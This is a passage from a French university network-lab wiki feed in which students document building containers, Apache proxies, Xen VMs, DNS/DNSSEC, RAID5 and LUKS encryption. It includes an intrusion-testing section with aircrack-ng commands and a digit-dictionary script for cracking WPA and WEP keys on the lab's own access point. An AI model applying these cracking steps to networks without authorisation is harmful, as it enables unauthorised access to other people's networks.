   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On met à jour la configuration : &lt;br /&gt;
  ldconfig&lt;br /&gt;
&lt;br /&gt;
== 5. Tests d'intrusion ==&lt;br /&gt;
===Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 charset=({0..9})&lt;br /&gt;
 permute(){&lt;br /&gt;
   (($1 == 0)) &amp;amp;&amp;amp; { echo &amp;quot;$2&amp;quot;; return; }&lt;br /&gt;
   for char in &amp;quot;${charset[@]}&amp;quot;&lt;br /&gt;
   do&lt;br /&gt;
     permute &amp;quot;$((${1} - 1 ))&amp;quot; &amp;quot;$2$char&amp;quot;&lt;br /&gt;
   done&lt;br /&gt;
 }&lt;br /&gt;
 permute &amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que nous laçons en exécutant :&lt;br /&gt;
&lt;br /&gt;
 $ ./comb.sh 8 &amp;gt;&amp;gt; dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
Le crack est effectué en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -a2 -b 04:DA:D2:9C:50:56  -w /path_to_file/dictionnaire.txt /path_to_file/*.cap&lt;br /&gt;
&lt;br /&gt;
Nous récupérons la clé après quelques heures de calcul :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack groupe7.png|600px]]&lt;br /&gt;
&lt;br /&gt;
===Cassage de clé WEP===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef012c92&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants protégés en WEP en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --channel 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlan0mon&lt;br /&gt;
&lt;br /&gt;
En parallèle, on simule une connexion au point d'accès pour récupérer le handshake : &lt;br /&gt;
 $ aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On réalise le cassage : &lt;br /&gt;
 $ aircrack-ng ./path_to_folder/cracotte07.cap&lt;br /&gt;
&lt;br /&gt;
== 6. Réalisation ==&lt;br /&gt;
&lt;br /&gt;
===6.1 Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Création de trois partitions LVM de 1Go sur Cordouan : &lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule1 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule2 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule3 -v&lt;br /&gt;
&lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :&lt;br /&gt;
&lt;br /&gt;
  'phy:/dev/virtual/hercule1,xvdc1,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule2,xvdc2,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule3,xvdc3,w'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Installation du paquetage mdadm pour réaliser le RAID5 logiciel :&lt;br /&gt;
  apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
Création du RAID5 :&lt;br /&gt;
  mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
&lt;br /&gt;
On formate le RAID créé : &lt;br /&gt;
  mkfs -t ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
On monte le RAID dans notre VM : &lt;br /&gt;
  mount /dev/md0 /mnt &lt;br /&gt;
&lt;br /&gt;
On créé un fichier sur le RAID pour qu'il contienne des données. On ferme la VM et on lui retire la partition xvdc3 dans sa config.&lt;br /&gt;
On relance la VM. Puis on essaye de remonter le RAID : &lt;br /&gt;
En voulant remonter /dev/md0, un message nous indique que md0 n'existe pas. On lance alors la commande : &lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
Et on s'aperçoit que notre RAID est toujours présent, cette fois n'ayant plus que deux disques, mais apparaît sous le nom md127. On monte alors ce derrnier : &lt;br /&gt;
  mount /dev/md127 /mnt&lt;br /&gt;
On retrouve alors bien le fichier créé initialement sur notre RAID. Lors de sa création, le fichier a été copié sur les 3 disques par le RAID. Ainsi, lorsque que nous avons supprimé un disque, cela n'a pas eu d'impact sur nos données.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Raidhercule.png|600px]]&lt;br /&gt;
&lt;br /&gt;
===6.1 Cryptage de données===&lt;br /&gt;
&lt;br /&gt;
Dans notre cas, nous n'utilisons pas une carte SD. Nous créons cependant une partition de 1 Giga sur cordouan sur laquelle on travaillera :&lt;br /&gt;
&lt;br /&gt;
$ lvcreate -L 1G -n /dev/virtual/hercule-crypt -v&lt;br /&gt;
&lt;br /&gt;
Une fois cette action réalisée, et la partition intégrée au fichier de configuration de la machine virtuelle sous forme de volume, de nom xvdd1, nous récupérons les paquets lvm2 et cryptsetup.&lt;br /&gt;
Lorsque la récupération est terminée, nous sécurisons la partition de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat -c aes -h sha256 /dev/xvdd1&lt;br /&gt;
&lt;br /&gt;
Cette commande permet de formater la partiton au type LUKS et chiffre en AES avec un algorithme de hashage SHA256. Nous choisissons une phrase de chiffrement.&lt;br /&gt;
&lt;br /&gt;
Une fois la partition chiffrée, nous ouvrons un volume dans notre partition chiffrée :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/xvdd1 home&lt;br /&gt;
&lt;br /&gt;
Nous la formatons en ext4 :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs -t ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Enfin, nous montons la partition sous /mnt :&lt;br /&gt;
&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/home /mnt&lt;br /&gt;
&lt;br /&gt;
Nous y créeons ensuite un fichier texte.&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48869</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48869"/>
				<updated>2018-12-17T16:06:19Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* 5. Tests d'intrusion */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1500px]]&lt;br /&gt;
&lt;br /&gt;
== 2.Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
==4.Services internet==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 @      IN      A       193.48.57.183&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves&lt;br /&gt;
&lt;br /&gt;
ZONES INVERSES A FAIRE&lt;br /&gt;
&lt;br /&gt;
===DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :&lt;br /&gt;
   dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
Création de la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
 :&lt;br /&gt;
Création de  la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
&lt;br /&gt;
On renomme ces clef : &lt;br /&gt;
  hercule.space-ksk.key&lt;br /&gt;
  hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
